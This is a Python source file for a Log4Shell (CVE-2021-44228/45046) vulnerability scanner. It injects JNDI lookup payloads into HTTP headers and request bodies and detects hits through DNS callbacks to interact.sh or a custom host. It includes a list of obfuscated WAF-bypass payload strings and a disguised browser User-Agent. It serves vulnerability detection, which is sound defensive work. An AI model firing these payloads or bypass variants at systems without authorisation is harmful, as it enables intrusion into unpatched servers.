log4j-scan.py

#!/usr/bin/env python3
# coding=utf-8
# ******************************************************************
# log4j-scan: A generic scanner for Apache log4j RCE CVE-2021-44228
# Author:
# Mazin Ahmed <Mazin at FullHunt.io>
# Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
# Secure your Attack Surface with FullHunt.io.
# ******************************************************************

import argparse
import random
import requests
import time
import sys
from urllib import parse as urlparse
import base64
import json
from uuid import uuid4
from base64 import b64encode
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA256
from termcolor import cprint


# Disable SSL warnings
try:
    import requests.packages.urllib3
    requests.packages.urllib3.disable_warnings()
except Exception:
    pass


cprint('[•] CVE-2021-44228 - Apache Log4j RCE Scanner', "green")
cprint('[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.', "yellow")
cprint('[•] Secure your External Attack Surface with FullHunt.io.', "yellow")

if len(sys.argv) <= 1:
    print('\n%s -h for help.' % (sys.argv[0]))
    exit(0)


default_headers = {
    #'User-Agent': 'log4j-scan (https://github.com/mazen160/log4j-scan)',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
    'Accept': '*/*'  # not being tested to allow passing through checks on Accept header in older web-servers
}

post_data_parameters = ["username", "user", "uname", "name", "email", "email_address", "password"]
timeout = 4

waf_bypass_payloads = ["${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{{callback_host}}/{{random}}}",
                       "${${::-j}ndi:rmi://{{callback_host}}/{{random}}}",
                       "${jndi:rmi://{{callback_host}}/{{random}}}",
                       "${jndi:rmi://{{callback_host}}}/",
                       "${${lower:jndi}:${lower:rmi}://{{callback_host}}/{{random}}}",
                       "${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host}}/{{random}}}",
                       "${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{callback_host}}/{{random}}}",
                       "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://{{callback_host}}/{{random}}}",
                       "${jndi:dns://{{callback_host}}/{{random}}}",
                       "${jnd${123%25ff:-${123%25ff:-i:}}ldap://{{callback_host}}/{{random}}}",
                       "${jndi:dns://{{callback_host}}}",
                       "${j${k8s:k5:-ND}i:ldap://{{callback_host}}/{{random}}}",
                       "${j${k8s:k5:-ND}i:ldap${sd:k5:-:}//{{callback_host}}/{{random}}}",
                       "${j${k8s:k5:-ND}i${sd:k5:-:}ldap://{{callback_host}}/{{random}}}",
                       "${j${k8s:k5:-ND}i${sd:k5:-:}ldap${sd:k5:-:}//{{callback_host}}/{{random}}}",
                       "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap://{{callback_host}}/{{random}}}",
                       "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap{sd:k5:-:}//{{callback_host}}/{{random}}}",
                       "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//{{callback_host}}/{{random}}}",
                       "${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//{{callback_host}}/{{random}}",
                       "${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}a${::-p}${sd:k5:-:}//{{callback_host}}/{{random}}}",
                       "${jndi:${lower:l}${lower:d}a${lower:p}://{{callback_host}}}",
                       "${jnd${upper:i}:ldap://{{callback_host}}/{{random}}}",
                       "${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://{{callback_host}}/{{random}}}"
                       ]

cve_2021_45046 = [
                  "${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}",  # Source: https://twitter.com/marcioalm/status/1471740771581652995,
                  "${jndi:ldap://127.0.0.1#{{callback_host}}/{{random}}}",
                  "${jndi:ldap://127.1.1.1#{{callback_host}}/{{random}}}"
                 ]

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
                    dest="url",
                    help="Check a single URL.",
                    action='store')
parser.add_argument("-p", "--proxy",
                    dest="proxy",
                    help="send requests through proxy",
                    action='store')
parser.add_argument("-l", "--list",
                    dest="usedlist",
                    help="Check a list of URLs.",
                    action='store')
parser.add_argument("--request-type",
                    dest="request_type",
                    help="Request Type: (get, post) - [Default: get].",
                    default="get",
                    action='store')
parser.add_argument("--headers-file",
                    dest="headers_file",
                    help="Headers fuzzing list - [default: headers.txt].",
                    default="headers.txt",
                    action='store')
parser.add_argument("--run-all-tests",
                    dest="run_all_tests",
                    help="Run all available tests on each URL.",
                    action='store_true')
parser.add_argument("--exclude-user-agent-fuzzing",
                    dest="exclude_user_agent_fuzzing",
                    help="Exclude User-Agent header from fuzzing - useful to bypass weak checks on User-Agents.",
                    action='store_true')
parser.add_argument("--wait-time",
                    dest="wait_time",
                    help="Wait time after all URLs are processed (in seconds) - [Default: 5].",
                    default=5,
                    type=int,
                    action='store')
parser.add_argument("--waf-bypass",
                    dest="waf_bypass_payloads",
                    help="Extend scans with WAF bypass payloads.",
                    action='store_true')
parser.add_argument("--custom-waf-bypass-payload",
                    dest="custom_waf_bypass_payload",
                    help="Test with custom WAF bypass payload.")
parser.add_argument("--test-CVE-2021-45046",
                    dest="cve_2021_45046",
                    help="Test using payloads for CVE-2021-45046 (detection payloads).",
                    action='store_true')
parser.add_argument("--dns-callback-provider",
                    dest="dns_callback_provider",
                    help="DNS Callback provider [Default: interact.sh].",
                    default="interact.sh",
                    action='store')
parser.add_argument("--custom-ip-callback-host",
                    dest="custom_ip_callback_host",
                    help="Option to specify IP address and Port instead of DNS Callback",
                    action='store')
parser.add_argument("--custom-dns-callback-host",
                    dest="custom_dns_callback_host",
                    help="Custom DNS Callback Host.",
                    action='store')
parser.add_argument("--disable-http-redirects",
                    dest="disable_redirects",
                    help="Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have a higher chance of reaching vulnerable systems.",
                    action='store_true')

args = parser.parse_args()


proxies = {}
if args.proxy:
    proxies = {"http": args.proxy, "https": args.proxy}


if args.custom_waf_bypass_payload:
    waf_bypass_payloads.append(args.custom_waf_bypass_payload)


def get_fuzzing_headers(payload):
    fuzzing_headers = {}
    fuzzing_headers.update(default_headers)
    with open(args.headers_file, "r") as f:
        for i in f.readlines():
            i = i.strip()
            if i == "" or i.startswith("#"):
                continue
            fuzzing_headers.update({i: payload})
    if args.exclude_user_agent_fuzzing:
        fuzzing_headers["User-Agent"] = default_headers["User-Agent"]

    if "Referer" in fuzzing_headers:
        fuzzing_headers["Referer"] = f'https://{fuzzing_headers["Referer"]}'
    return fuzzing_headers


def get_fuzzing_post_data(payload):
    fuzzing_post_data = {}
    for i in post_data_parameters:
        fuzzing_post_data.update({i: payload})
    return fuzzing_post_data


def generate_waf_bypass_payloads(callback_host, random_string):
    payloads = []
    for i in waf_bypass_payloads:
        new_payload = i.replace("{{callback_host}}", callback_host)
        new_payload = new_payload.replace("{{random}}", random_string)
        payloads.append(new_payload)
    return payloads


def get_cve_2021_45046_payloads(callback_host, random_string):
    payloads = []
    for i in cve_2021_45046:
        new_payload = i.replace("{{callback_host}}", callback_host)
        new_payload = new_payload.replace("{{random}}", random_string)
        payloads.append(new_payload)
    return payloads


class Interactsh:
    # Source: https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/modules/interactsh/__init__.py
    def __init__(self, token="", server=""):
        rsa = RSA.generate(2048)
        self.public_key = rsa.publickey().exportKey()
        self.private_key = rsa.exportKey()
        self.token = token
        self.server = server.lstrip('.') or 'interact.sh'
        self.headers = {
            "Content-Type": "application/json",
        }
        if self.token:
            self.headers['Authorization'] = self.token
        self.secret = str(uuid4())
        self.encoded = b64encode(self.public_key).decode("utf8")
        guid = uuid4().hex.ljust(33, 'a')
        guid = ''.join(i if i.isdigit() else chr(ord(i) + random.randint(0, 20)) for i in guid)
        self.domain = f'{guid}.{self.server}'
        self.correlation_id = self.domain[:20]

        self.session = requests.session()
        self.session.headers = self.headers
        self.session.verify = False
        self.session.proxies = proxies
        self.register()

    def register(self):
        data = {
            "public-key": self.encoded,
            "secret-key": self.secret,
            "correlation-id": self.correlation_id
        }
        res = self.session.post(
            f"https://{self.server}/register", headers=self.headers, json=data, timeout=30)
        if 'success' not in res.text:
            raise Exception("Can not initiate interact.sh DNS callback client")

    def pull_logs(self):
        result = []
        url = f"https://{self.server}/poll?id={self.correlation_id}&secret={self.secret}"
        res = self.session.get(url, headers=self.headers, timeout=30).json()
        aes_key, data_list = res['aes_key'], res['data']
        for i in data_list:
            decrypt_data = self.__decrypt_data(aes_key, i)
            result.append(self.__parse_log(decrypt_data))
        return result

    def __decrypt_data(self, aes_key, data):
        private_key = RSA.importKey(self.private_key)
        cipher = PKCS1_OAEP.new(private_key, hashAlgo=SHA256)
        aes_plain_key = cipher.decrypt(base64.b64decode(aes_key))
        decode = base64.b64decode(data)
        bs = AES.block_size
        iv = decode[:bs]
        cryptor = AES.new(key=aes_plain_key, mode=AES.MODE_CFB, IV=iv, segment_size=128)
        plain_text = cryptor.decrypt(decode)
        return json.loads(plain_text[16:])

    def __parse_log(self, log_entry):
        new_log_entry = {"timestamp": log_entry["timestamp"],
                         "host": f'{log_entry["full-id"]}.{self.domain}',
                         "remote_address": log_entry["remote-address"]
                         }
        return new_log_entry


def parse_url(url):
    """
    Parses the URL.
    """

    # Url: https://example.com/login.jsp
    url = url.replace('#', '%23')
    url = url.replace(' ', '%20')

    if ('://' not in url):
        url = str("http://") + str(url)
    scheme = urlparse.urlparse(url).scheme

    # FilePath: /login.jsp
    file_path = urlparse.urlparse(url).path
    if (file_path == ''):
        file_path = '/'

    return({"scheme": scheme,
            "site": f"{scheme}://{urlparse.urlparse(url).netloc}",
            "host":  urlparse.urlparse(url).netloc.split(":")[0],
            "file_path": file_path})


def scan_url(url, callback_host):
    parsed_url = parse_url(url)
    random_string = ''.join(random.choice('0123456789abcdefghijklmnopqrstuvwxyz') for i in range(7))
    if args.custom_ip_callback_host:
        payload = '${jndi:ldap://%s/%s}' % (callback_host, random_string)
    else:
        payload = '${jndi:ldap://%s.%s/%s}' % (parsed_url["host"], callback_host, random_string)
    payloads = [payload]
    if args.waf_bypass_payloads:
        if args.custom_ip_callback_host:
            payloads.extend(generate_waf_bypass_payloads(f'{callback_host}', random_string))
        else:
            payloads.extend(generate_waf_bypass_payloads(f'{parsed_url["host"]}.{callback_host}', random_string))

    if args.cve_2021_45046:
        if args.custom_ip_callback_host:
            cprint(f"CVE-2021-45046 testing cannot be used with IP Callback Host. Please use DNS. Skipping...", "red")
            exit(1)
        else:
            cprint(f"[•] Scanning for CVE-2021-45046 (Log4j v2.15.0 Patch Bypass - RCE)", "yellow")
            payloads = get_cve_2021_45046_payloads(f'{parsed_url["host"]}.{callback_host}', random_string)

    for payload in payloads:
        cprint(f"[•] URL: {url} | PAYLOAD: {payload}", "cyan")

        if args.request_type.upper() == "GET" or args.run_all_tests:
            try:
                requests.request(url=url,
                                 method="GET",
                                 params={"v": payload},
                                 headers=get_fuzzing_headers(payload),
                                 verify=False,
                                 timeout=timeout,
                                 allow_redirects=(not args.disable_redirects),
                                 proxies=proxies)
            except Exception as e:
                cprint(f"EXCEPTION: {e}")

        if args.request_type.upper() == "POST" or args.run_all_tests:
            try:
                # Post body
                requests.request(url=url,
                                 method="POST",
                                 params={"v": payload},
                                 headers=get_fuzzing_headers(payload),
                                 data=get_fuzzing_post_data(payload),
                                 verify=False,
                                 timeout=timeout,
                                 allow_redirects=(not args.disable_redirects),
                                 proxies=proxies)
            except Exception as e:
                cprint(f"EXCEPTION: {e}")

            try:
                # JSON body
                requests.request(url=url,
                                 method="POST",
                                 params={"v": payload},
                                 headers=get_fuzzing_headers(payload),
                                 json=get_fuzzing_post_data(payload),
                                 verify=False,
                                 timeout=timeout,
                                 allow_redirects=(not args.disable_redirects),
                                 proxies=proxies)
            except Exception as e:
                cprint(f"EXCEPTION: {e}")


def main():
    urls = []
    if args.url:
        urls.append(args.url)
    if args.usedlist:
        with open(args.usedlist, "r") as f:
            for i in f.readlines():
                i = i.strip()
                if i == "" or i.startswith("#"):
                    continue
                urls.append(i)

    callback_host = ""
    if args.custom_dns_callback_host:
        cprint(f"[•] Using custom DNS Callback host [{args.custom_dns_callback_host}]. No verification will be done after sending fuzz requests.")
        callback_host = args.custom_dns_callback_host
    elif args.custom_ip_callback_host:
        print(f"[•] Using custom IP Callback host [{args.custom_ip_callback_host}]. No verification will be done after sending fuzz requests.")
        callback_host = args.custom_ip_callback_host
    else:
        cprint(f"[•] Initiating DNS callback server ({args.dns_callback_provider}).")
        if args.dns_callback_provider == "interact.sh":
            dns_callback = Interactsh()
        else:
            raise ValueError("Invalid DNS Callback provider")
        callback_host = dns_callback.domain

    cprint("[%] Checking for Log4j RCE CVE-2021-44228.", "magenta")
    for url in urls:
        cprint(f"[•] URL: {url}", "magenta")
        scan_url(url, callback_host)

    if args.custom_dns_callback_host or args.custom_ip_callback_host:
        cprint("[•] Payloads sent to all URLs. Custom Callback host is provided, please check your logs to verify the existence of the vulnerability. Exiting.", "cyan")
        return

    cprint("[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks.", "cyan")
    cprint("[•] Waiting...", "cyan")
    time.sleep(int(args.wait_time))
    records = dns_callback.pull_logs()
    if len(records) == 0:
        cprint("[•] Targets do not seem to be vulnerable.", "green")
    else:
        cprint("[!!!] Targets Affected", "yellow")
        for i in records:
            cprint(json.dumps(i), "yellow")


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\nKeyboardInterrupt Detected.")
        print("Exiting...")
        exit(0)